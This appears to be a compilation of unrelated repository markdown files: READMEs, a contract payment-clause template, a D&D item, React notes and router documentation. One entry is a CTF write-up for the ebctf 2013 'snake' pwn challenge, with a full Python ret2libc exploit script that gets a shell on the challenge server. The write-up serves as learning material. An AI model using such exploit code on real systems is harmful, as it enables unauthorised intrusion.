* For example demonstrations of the usage, go to [Ballerina By Examples](https://ballerina.io/learn/by-example/).
* Chat live with us via our [Discord server](https://discord.gg/ballerinalang).
* Post all technical questions on Stack Overflow with the [#ballerina](https://stackoverflow.com/questions/tagged/ballerina) tag.

gha_language: Ballerina


text:
Ti=PAYMENT

1.Ti=Currency

1.sec=Unless otherwise agreed, payment shall be made in {Options: (U.S. Dollar (USD), UK Pound (GBP), Swiss Franc (CHF), and Australian Dollar (AUD)): euro (EUR)}.

2.Ti=Taxes

2.0.sec=The following applies as regards taxation:

2.1.sec=All amounts in this Agreement are gross amounts but exclusive of any value added tax (VAT), sales tax, income tax, consumption tax or any other similar tax, duty, fee, levy or other governmental charge, customs duties and other levies (Taxes), except as specified otherwise.

2.2.sec=If any payment pursuant to this Agreement is subject to any Taxes, Supplier shall be entitled to charge such Taxes to Customer, which shall be paid by Customer in addition to the payments pursuant to this Article.

2.3.sec=In the event that the tax authorities in a jurisdiction impose any Taxes on payments made or to be made by Customer to Supplier pursuant to this Agreement and requires Customer to withhold such Taxes from such payments, Customer may deduct such Taxes from such payments, provided that such Taxes are paid to the appropriate tax authorities. In such event, the Parties shall provide each other with receipts or documentary evidence (issued by the appropriate tax authorities or against which such Taxes would be due or payable) so as to enable the other Party to support (if applicable) a claim for credit against Taxes which may be payable, deductible or creditable, as well as to enable that other Party to document, if necessary, its compliance with its Tax duties in any jurisdiction.

2.=[Z/ol/s3]

3.Ti=Invoices

3.0.sec=Except if otherwise agreed in writing, Supplier shall invoice Customer monthly. Each invoice shall state:

3.1.sec=the name of the Customer company and its address;

3.2.sec=the title and number of this Agreement, and the Purchase Order number;

3.3.sec=in case of Products delivered, the Products to which it relates and their quantity;

3.4.sec=in case of Services provided, the Services to which it relates and, in case of time-related billing or payments in milestones or instalments, in a separate time billing report, a specification of all the work performed for Customer;

3.5.sec=separate from the price, (i) any approved out-of-pocket expenses, and (ii) the value added tax (VAT);

3.6.sec=the price and the total amount due;

3.7.sec=Supplier’s VAT number;

3.8.sec=Supplier’s bank account number, sort code and invoice address; and

3.9.sec=an invoice number and a date (of the invoice).

3.=[Z/ol/s9]

4.Ti=Payment term

4.sec=Payment shall be made within 60 days after the end of the month in which an invoice is received by Customer.

Note=[Optional:

5.Ti=Early payment discounts

5.sec=Customer shall be entitled to any discount for prompt payment, bulk purchase or volume of purchase customarily granted by Supplier to its customers, whether or not shown on Supplier’s terms and conditions of sale.

Note=[Optional:

6.Ti=Late payment interest

6.sec=If payment has not been made on the due date Supplier may give Customer a five days written notice that the amounts due and payable shall be increased by an annual interest of {2 percent}, accruing daily after expiry of the payment term of Section 8.4.

=[Z/ol/6]

gha_language: PHP


text:
It analyzes trace produced by `go tool trace` and renders visualization of concurrency flow.

Original article: [https://divan.github.io/posts/go_concurrency_visualize/](https://divan.github.io/posts/go_concurrency_visualize/)

Slides from GopherCon'16: [http://divan.github.io/talks/2016/gophercon/](http://divan.github.io/talks/2016/gophercon/)

![](images/demo.png)

## Intro

This tool generates 3D visualization of Go concurrency flow by analyzing its [execution trace.](https://docs.google.com/document/u/1/d/1FP5apqzBgr7ahCCgFO-yoVhk4YZrNIDNf9RybngBc14/pub) To view the visualization you need a modern browser with WebGL support (pretty much any browser nowadays).

Its primary goal is to be an educational tool for Go concurrency. It works well with small programs that produce short traces (see Scale issues below).

## Usage
First, install gotrace:

    go get -u github.com/divan/gotrace

Second, use patched Go runtime to produce trace and binary. There are two ways to do it - use [a docker container](#using-docker) or [apply the patch locally](#appendix-a---patching-go-locally).

 Feel free to play first with code in **examples**/ folder.

Theoretically, gotrace should do all the magic itself and be able to handle any Go program. That's the goal, but at the present moment, if you want to get good/meaningful visualization, you should follow some rules and suggestions.

#### Make it short
The height of program visualization currently is a fixed value, so any trace fits into the screen height. This means, that example running 1 minute will be visualized at different scale from program running 1 second.

Depending on what you try to see, but rule of thumb is - **the shorter execution time, the better**. See `examples/` dir for good samples that produce nice visualizations.

#### Insert runtime/trace yourself
In order to produce the trace, your program should be instrumented with special code. `gotrace` can do this automatically for you, but **in some cases it's wiser to put this code by yourself**. Here is a typical example:

```go
package main

import (
	"os"
	"runtime/trace"
)

func main() {
	trace.Start(os.Stderr)
	...
	trace.Stop()
}
```

Currently it's important to write trace into os.Stderr. See issue #X if your example uses stderr for other needs.

#### Consider inserting very short time.Sleep() calls
If you are trying to visualize some things that happen at nanosecond/microsecond level, it could be wise to insert `time.Sleep(1 * time.Millisecond)` calls to get more clear visualization.

For example, if your code runs 100 goroutines in a loop, their IDs and their start order probably would be different, resulting in slightly messed picture. So, changing:

```go
	for i := 0; i < 100; i++ {
		go player(table)
	}
```
to

```go
	for i := 0; i < 100; i++ {
		time.Sleep(1 * time.Millisecond)
		go player(table)
	}
```

will help to make better visualization.

#### Try to keep number of goroutines/events small
The fewer objects that will be rendered, the better. If you have many things to render, WebGL will just hang your browser. Also, keep in mind, that point of visualization is to express something. So running 1024 workers will result in a heavy visualization where you will not see separate goroutines. Setting this value to, say, 36 will produce much more clear picture.

### Detailed instructions
The next step is to build your program. You will need to build using the patched Go runtime. So if you patched it yourself (see [Appendix A](#appendix-a---patching-go-locally)), you just have to run `go build`, or, even simpler, let `gotrace` do it for you. But most people, probably wouldn't want to do this and prefer using Docker for it.

#### Using Docker

You will need [Docker](https://docs.docker.com/engine/userguide/) installed and running.

Then pull the image from Docker Hub:

	docker pull divan/golang:gotrace

or build it yourself:

    docker build -t "divan/golang:gotrace" -f runtime/Dockerfile runtime/

If everything went ok, you should have `divan/golang:gotrace` image in your local docker (check with `docker images` command).

 Run it and save the trace.
Once you have the binary, you can run it and save the trace:

    ./binary 2> trace.out

### 4. Run `gotrace` (finally)
Now, it's time to run `gotrace` and feed the binary and the trace to produce the visualization:

    gotrace ./trace.out ./binary

It should start the browser and render visualization.

# Visualization

## Colors
Different colors of goroutines represent different states.

 - red - blocked state
 - green - unblocked
 - yellow - unblocked and using CPU

Colors of goroutines' connections and sendings over the channels are the same.

## Hotkeys

You can use the mouse/trackpad to zoom/rotate/pan visualization. On MacOS X you use single tap and move to rotate, double-finger touch to zoom, and double-finger tap and move to pan.

You may also try it with a [Leap Motion controller](https://www.leapmotion.com) for zooming and rotating with hands - switch to **leap** branch.

Also there are some useful hotkeys:

 - **r** - **r**estart
 - **p** - **p**ause
 - **1, 2, 3, 4, 0** - highlight modes (0 - default)
 - **+/-** - increase/decrease width of lines
 - **s/f** - **s**lower/**f**aster animation

## Limits/Known issues

 - Value of variable being sent to the channel is supported only for integer types. (see [Issue #3](https://github.com/divan/gotrace/issues/3))
 - Buffered channels doesn't work (yet) (see [Issue #2](https://github.com/divan/gotrace/issues/2))

# Appendix A - patching Go locally
If you really want to play around with gotrace, you may want to patch Go runtime yourself. It will allow you to run gotrace as easy as `gotrace main.go` without all intermediate steps described above.

Here are instructions on how to do it (MacOS X and Linux).

1. Assuming your Go installation is in `/usr/local/go` (default), download Go 1.8.1 and unpack it into `/usr/local/go18-gotrace`.

        sudo -i
        mkdir -p /usr/local/go18-gotrace
        curl https://storage.googleapis.com/golang/go1.8.1.src.tar.gz | tar -xz -C /usr/local/go18-gotrace

2. Then, copy patch and apply it:

        sudo patch -p1 -d /usr/local/go18-gotrace/go < runtime/go1.8.1-gotrace.patch

3. Build new runtime:

        sudo -i
        cd /usr/local/go18-gotrace/go/src
        export GOROOT_BOOTSTRAP=/usr/local/go # or choose yours
        ./make.bash

4. Finally, export PATH or use `ln -s` command to make this Go version actual in your system:

		export PATH=/usr/local/go18-gotrace/go/bin:$PATH
or (assuming your PATH set to use /usr/local/go)

		sudo mv /usr/local/go /usr/local/go-orig
		sudo ln -nsf /usr/local/go18-gotrace/go /usr/local/go

NOTE: return your previous installation by `sudo ln -nsf /usr/local/go-orig /usr/local/go`

Now, you should be able to run `gotrace examples/pingpong02.go` and see the result in the browser.

# License
MIT License


text:
---
layout: item
title:  "Hellfire Weapon"
sources: [BGDIA.223]
tags: [weapon, uncommon]
category: "Weapon (any)"
rarity: "Uncommon"
---

This weapon is fashioned from infernal iron and traced with veins of hellfire that shed dim light in a 5-foot-radius.

Any humanoid killed by an attack made with this weapon has its soul funneled into the River Styx, where it's reborn instantly as a lemure devil.


text:
## electr0sheep.com

### Description
* My personal blog, based on the Lanyon theme, where I yammer on incessantly.

### Location
* [https://electr0sheep.com](https://electr0sheep.com)

#### Modifications from [Lanyon](https://github.com/poole/lanyon)

* Menu button is always visible
* Sidebar functions properly
* A major departure from the stock Lanyon theme is my categories feature.

#### Modifications from [Poole](https://github.com/poole/poole)

* None so far

#### Body background taken from Leap Day Theme
[https://pages-themes.github.io/leap-day/](https://pages-themes.github.io/leap-day/)


text:
---
title: ebctf 2013 pwn 300 snake writeup
author: zTrix
layout: post
permalink: /ebctf-2013-pwn-300-snake-writeup/
categories:
  - CTF
  - writeup
---
It’s a snake game.

Playing it for a while, we find that w,s,a,d can control the snake in 4 directions, “enter” key will stop the snake, and b will start the game in single step mode.

The clue printed before game started is important, it says, `HIT (ALMOST) ANY KEY TO START GAME`, so there must be some key which will generate different output. After some try and fail, we find that ‘#’ key will dump the binary file in hex code. This is the first breakthrough we got. Now we can disassemble the binary and play the game locally.

Using the binary file, we find a stack overflow vulnerability immediately, which is located at game exit, used to input the player’s name, exposed by function `fgets`. But the logic of the game shows we need a score larger than 313336, which is impossible to acquire by playing the game.

By reading the assembly of the binary, we got some more findings. The first discovery indicates that if we get a score equal to 666, the program will print out some memory layout information. The second discovery shows that, if we get 1221 score, the program will erase the last 4 wall of the game board by space. Furthermore, the memory location of the walls locate adjacently to that of the score variable.

Knowing above, we can compose a solution now. First, use some input sequence, we can eat 6 dots and get the libc.so base address in memory. Then we eat 6 more dots, the bottom wall will open a 4-bytes-wide door. Move snake outside the play field, and overwrite 4 bytes after the wall, the score variable will be large enough to pass the high score check.

[][1]

Now we just need to grab the shell using ret2libc. Calculate the system function offset and “/bin/sh” offset, using the offset provided by memory info printed. The final script is as follows, note that the system offset and “/bin/sh” offset need to be recalculated for different platforms.

    import struct

    f = open('fifo', 'w')

    def send(cmd):
        global f
        f.write(cmd)
        f.flush()

    send('b')
    s = 'd' * 28 + 's' * 3 + 'd' * 2 + 'w' * 5 + 'a' * 23 + 's' * 11 + 'd'* 27 + 'w' + 'w' * 3 + 'a' * 27 + 'w' * 5 + 'd' * 50 + 's' * 2 + 'a' * 38 + 's' * 11 + 'd' * 7 + 'w' * 7 + 'a' * 6 + 'w' * 9 + 'd' * 17 + 'd' * 2  + 'd' * 23 + 's' * 17 + 'd' * 6

    send(s)

    b = raw_input('please enter base address: ')

    ba = "base = 0x" + b
    print ba
    exec ba

    #base = 0xf75fe000
    g = 'A' * 140 + struct.pack('I', base + 0x3e6c0) + struct.pack('I', base + 0x3e6c0 - 0xd1d0) + struct.pack('I', base + 0x160cbf) + struct.pack('I', 10) + 'pwd\n'

    send(g)

    while True:
        send(raw_input('$ ') + '\n\n')

    raw_input("\npress any key to exit ...")

We used mkfifo to create a fifo file first. Then do the following:

    $ nc "ip" "port" < fifo
    $ python2 solve.py
      ... input the libc base address when it prints out.

    Some solutions we seen write a lot of code to read server input and parse the libc base address, but it's much more easier to use pipe and input it manually.

    aay, cbmixx, kelwin contribute most of the work for solving this problem. Thanks very much!

 [1]: http://www.blue-lotus.net/wp-content/uploads/2013/06/1221.png


text:
# mkv2ps3
Simple bash script to remux mkv to be watched on PS3. It's not been tested on a PS3, yet.

It uses `ffmpeg`, `mkvinfo`, `mkvextract`, and `MP4Box`. You can install the whole set with:

```
sudo apt install ffmpeg gpac mkvtoolnix
```

`ffmpeg` is only used when the audiotrack needs to be converted to AAC. If you're on Ubuntu on Windows, you may need to compile `ffmpeg` from sources. Follow this: https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu#CompilationInstallation


text:
# Hooks

## What is a Hook?
- A `Hook` is a special function that lets you “hook into” React features.
- `Hooks` are JavaScript functions, but they impose additional rules:

- Hooks must be named with a use prefix (i.e. useFishingPole)
- Only call Hooks at the top level. Don’t call Hooks inside loops, conditions, or nested functions.
- Only call Hooks from React function components.

- React hooks allow to to easily create and manage state in a functional component.

## hen would I use a Hook?
- If you write a function component and realize you need to add some state to it.
- previously you had to convert it to a class. Now you can use a Hook inside the existing function component.

## Built In Hooks
`useState()` Returns a stateVariable and setterFunction for you to use to manage state in a functional component.


text:
# Obelisk running on GSR

The GSR device (GSM Smart Router) uses obelisk as its core. The following section describes de details on how is it run and the environment provided.

## Operating system

The GSR runs an image based on [LEDE](https://lede-project.org/), a GNU/Linux operating system based on OpenWrt.

## Running obelisk

The command `gsr` is a symlink to `obelisk`, both located on `/usr/bin`.

The `obelisk-wrapper` script (located on `/usr/bin`) is responsible for launching and restarting `obelisk` if it dies. It is automatically started when the device boots with the `/etc/init.d/obelisk` service. This service provides `/etc/init.d/obelisk stop`, `/etc/init.d/obelisk start` and `/etc/init.d/obelisk restart` commands for managing obelisk.

The `obelisk-wrapper` script starts obelisk with the **main config file** `/etc/obelisk/obelisk.json` (where the changes to the config are saved) on top of a **failsafe config file** `/etc/obelisk/failsafe.json` that is never modified. This ensures that some modules are always enabled and a minimum functionality is preserved in case of disaster (for example when saving an empty config or when accidentally deleting the config file).

If `obelisk` crashes, `obelisk-wrapper` launches it again. If 5 consecutive crashes occur and each running time has been inferior to 5 minutes it probably means that something is wrong in the configuration or the binary and `obelisk-wrapper` enters the failsafe mode.

The **failsafe mode** tests if the binary can be run, if it can't obelisk is run from the factory read-only binary (`/rom/usr/bin/obelisk`) and the main config file is restored to factory defaults (`/rom/etc/obelisk/obelisk.json`).

In failsafe mode, the failsafe config file is loaded and its defined instances started. Then the main config file is loaded but its instances are not started. Modifications done to the config while obelisk is running are done taking into account the main config file and then, when the config is saved, this is done to the main config file. When this happens (or after 10 minutes) the device reboots. The failsafe mode allows to externally connect to fix things or to reset the configuration to some known good values.

> Take special care of stopping `obelisk` when connected through a VPN connection that it handles. The connection will stop and `obelisk` won't be started again.
> Connecting through the LAN interface doesn't present this risk.

## Reading the logs

To read the syslog where obelisk logs all it's data, the `logread` command must be used.

`logread -f -l 200` shows the last 200 lines and follows the output.

## Custom scripts

There is some free space for users to add their custom scripts wherever they want and interface with obelisk through a local connection to obbus.

You can download the toolchain needed to compile software here: http://obelisk-repo.n4m.zone/repo/external/toolchains/v3/Nayar-Toolchain-mips-24kc_gcc-6.3.0_musl-1.1.16.Linux-x86_64.tar.bz2

We also provide a Lua 5.1 environment, but you will need to install socket and msgpack packages manually to be able to connect to obbus, since these are not installed by default to save some space.

> Be aware that there is only ~3MiB of storage available to host your custom scripts and any data you may want to preserve

You will also need to setup a startup script on `/etc/init.d/` to run your scripts on boot alongside obelisk

repository: nayarsystems/obelisk-doc

repo_name: nayarsystems/obelisk-doc


text:
# Puppy Store - An in-memory store for puppies

- [Overview](#overview)
- [Prerequisites](#prerequisites)
- [Build, execute, test, lint](#betl)
    - [Build](#build)
    - [Execute](#execute)
    - [Test](#test)
    - [Format and Lint](#lint)
    - [Review unit test coverage](#coverage)

## Overview

Puppy Store is a simple in-memory store for [Puppy](pkg/puppy/types.go) objects. Puppy Store
is implemented with CRUD methods for creating, reading, updating, and deleting puppies in puppy store.

## Prerequisites

-   Install `go 1.12` according to [official installation instruction](https://golang.org/doc/install)
-   Clone this project outside your `$GOPATH` to enable [Go Modules](https://github.com/golang/go/wiki/Modules)
-   Install `golangci-lint` according to [instructions](https://github.com/golangci/golangci-lint#local-installation)

## Build, execute, test, lint

#### Build

    go build -o puppystore cmd/puppy-server/main.go

#### Execute

    ./puppystore

#### Test

    go test ./...

#### Format and lint

    gofmt -w .
    goimports -w .
    golangci-lint run

#### Review unit test coverage

    go test -coverprofile=coverage.out ./... && go tool cover -html=coverage.out

repository: denigeorge/go-course

repo_name: denigeorge/go-course